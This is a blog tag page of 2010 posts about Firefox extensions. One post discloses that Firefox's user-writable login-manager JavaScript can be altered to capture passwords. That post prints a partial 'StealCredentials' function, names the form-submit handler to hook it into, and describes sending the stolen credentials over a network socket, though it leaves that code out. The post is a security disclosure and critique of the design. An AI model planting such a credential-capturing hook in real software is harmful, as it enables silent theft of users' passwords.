World Line

Posts Tagged ‘Firefox


with 10 comments

Last night I wrote another quick-and-dirty Firefox extension; or rather, I wrote a quick-and-dirty Greasemonkey script based on Jack Hsu’s script which I then used Rochak Chauhan‘s User Script Compiler on to generate a skeleton extension to flesh out. Isn’t involuntary collaboration awesome? πŸ™‚

The script is very simple; it adds a stylish globe icon underneath the “Star” in each tweet on the Twitter timeline. Clicking it makes an API call to Google Translate and adds an overlay containing the translation to English, from whatever language it happens to be in.

Unfortunately, my extension can't make Google Translate suck any less...

I’ve found it very useful, and not just for understanding certain Japanese AV stars. Hopefully someone else shares my passion for Sora β€” I mean, international culture β€” and can give it enough feedback on the official add-on site to be able to nominate it for public release. If Send to EidoGo managed to be selected, despite being thoroughly niche, I’m sure Twanslate has nothing to worry about πŸ™‚

Of course, as the product of an evening’s worth of work, it’s not perfect yet. In the interest of full disclosure, here are the outstanding issues.

  • You may have heard that Greasemonkey-based scripts work automagically in Google Chrome. This has some truth to it, but like most things, it’s not that simple. Chrome’s security model is stricter than Greasemonkey’s, so things like hijacking the unsafeWindow.onPageChange() call don’t automatically work. I think I can tweak it to make it work, if it turns out anyone wants it.
  • New tweets that come in with the “X new tweets” notification at the top do not get the translate button, even though they do when you click the “More tweets…” button at the bottom. This is a Twitter weirdness β€” for some reason their Javascript does call the window.onPageChange() when it’s done adding tweets to the bottom of the timeline, but does not call it when adding tweets to the top, even though the change to the DOM is indistinguishable. Thus it’s much harder to hijack that page event. I’ll figure it out one day. For now, just refresh the page to get it.
  • The output language is not configurable, it’s always English for now. Will be fixed in a subsequent release.

That’s about it. I hope somebody else finds this useful.

Written by Adrian Petrescu

April 20, 2010 at 9:49 pm

Posted in Development

Tagged with

Send to EidoGo 1.2 now Public!

leave a comment »

It took a few weeks, but my bid to have the Send to EidoGo add-on for Firefox be made a public extension has succeeded! πŸ™‚ You can find it at its new home as Addon 6774 on the Add-ons for Firefox homepage. Thanks to all of the users who downloaded, used, and reviewed the extension for the last two years. (Extra bonus points for those who reminded me every time I let the compatibility version string fall behind…)

Since the old support post died with my last host, I guess I will link this new post as the “support site” for the extension, since I don’t anticipate too many problems with such a simple piece of code πŸ™‚ Leave a comment if there’s anything I need to fix, change, or add to it. Cheers!

Written by Adrian Petrescu

February 2, 2010 at 8:42 pm

Posted in Development, Go

Tagged with ,

Easy Firefox “exploit”

leave a comment »

I’m a big fan of Firefox, both as an application and as an “institution” — but I’ve always been a bit intrigued by the amount of serious work it does in regular, local-user-write-access JavaScript files. Not just things related to the chrome, but actual (what most people would consider) “backend” work, particularly in the area of tossing around user credentials. In fact, the little “Login Prompter” that you see whenever you log into a page for the first time —

Firefox Login Prompter

Firefox Login Prompter

This bar is actually fully implemented in the innocuous-sounding nsLoginManager.js and nsLoginManagerPrompter.js files, which are (on OS X and Windows, not on Linux) writable by unprivileged users. The impact of this decision becomes clearly felt when you peek inside these files: it’s full of functions that scrape passwords from all the input fields on a page, events that are fired whenever input forms are submitted, and handles to every form of personal information Firefox sees — all conveniently executed for you on every single page. Once I saw this, the exploit was simple. Obviously if this little toolbar was responsible for storing the credentials to Firefox’s backend storage, it has some sort of handle to them. If I just looked at the code near the event handlers for those buttons, I could make them both act as “Save Password”, regardless of their labeling. In fact, once I actually saw the source the reality became even worse — I don’t need the user to click on anything, in fact, I don’t need that bar to show up at all. I just added a function like this to the very top of nsLoginManager.js:

function StealCredentials(username, password, hostname) {
    var saveFile = "/Users/adrian/.pass.txt";
    var file = Components.classes[";1"]
    if (file.exists() == false) {
        file.create(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 420);

    var outputStream = Components.classes[";1"]

    outputStream.init(file, 0x04 | 0x08 | 0x10, 420, 0);
    var stolenStuff = username + '\t' + password + '\t' + hostname + '\n';
    outputStream.write(stolenStuff, stolenStuff.length);

    // Mischief managed!

Now you just need to call this from any of the juicy weak spots in nsLoginManager.js. My personal choice was in the _onFormSubmit event handler, just before the following block:

        StealCredentials(usernameField.value, newPasswordField.value, hostname);

        if (this._inPrivateBrowsing) {
            // We won't do anything in private browsing mode anyway,
            // so there's no need to perform further checks.
            this.log("(form submission ignored in private browsing mode)");

That’s right — Firefox’s touted super-secure “Private Browsing Mode” is basically just a manual check in a user-writable JavaScript file — under the hood, the credentials pass through it just the same. The change I’m describing works equally well whether the user has the false sense of security of Private Browsing Mode, disabled login prompter, whatever. Whenever a form is submitted and this Javascript jumps into action, the password fields are scraped, conveniently parsed for us (so that Firefox knows which form elements to save), and then written directly to the file we gave in StealCredentials().

The consequences are clear. An attacker can even just make this change on their own system — how many times have you borrowed someone’s laptop to check your e-mail, trusting that telling Firefox not to remember your password and signing out right afterwards was protection enough? The attacker will have your credentials in the text file regardless, even though Firefox will not list it as saved. That’s actually the least of the problem, though. Since the files are user-writable, all a black hat needs is 10 seconds of physical local access to apply this change (possibly through a remotely-downloaded script that the attacker prepares in advance), and there’s really no chance any victim will detect it until the next Firefox update. The attacker doesn’t even need further physical access to the machine after that — instead of a nsILocalFile, the change could trivially be modified to use nsISocketTransport as an output stream, sending the passwords across the Internet to a server waiting to listen for them. (Yes I’ve tried this. Yes it works. I’m not posting that code to discourage at least the laziest of script kiddies). Kiosk computers, coworkers — the list of possibilities is staggering.

The only solution I can think of, really, is to move this entire section of logic out of Javascript and into the Firefox binary proper — at least that is usually afforded some level of protection by the operating system automatically (and if an attacker can modify that with his own copy, then all bets are off anyway).

At least until then, any remotely technically-savvy person can exploit any Windows or OS X Firefox installations in his vicinity.

Written by Adrian Petrescu

January 27, 2010 at 6:32 am

Posted in Development

Tagged with ,

Send to EidoGo 1.2

leave a comment »

I’ve gotten a lot of e-mails about the death of the Send to EidoGo Firefox Plugin, precipitated by two things:

  • I wasn’t keeping up-to-date with the compatibility version string as Firefox put out newer versions.
  • My credit card expired, which led to the cancellation of my old host (

The former issue can be solved by disabling compatibility checking, and the latter by grabbing it from the experimental add-on site hosted by Mozilla, but of course neither of these are the most user-friendly solutions.

So, sorry about the wait — I’ve updated the maxVersion up to 3.6, so it should be safe for the next little while. Also, although it’s still available at the Mozilla-hosted hub (which I want to make the “official” distribution point from now on — I should tell Justin Kramer to update the link), it’s not discoverable unless you’re logged in as a developer. So I’ve begun the process of nominating the extension for public release. Thanks for all the positive reviews and links, guys πŸ™‚ It should help with the approval process, hopefully enough to counteract the “widely useful” requirement for public extensions. With any luck in a week or two, Google searches for EidoGo will turn up the Mozilla link instead of the old, dead blog link.

Written by Adrian Petrescu

January 26, 2010 at 11:36 pm

Posted in Development, Go

Tagged with ,

%d bloggers like this: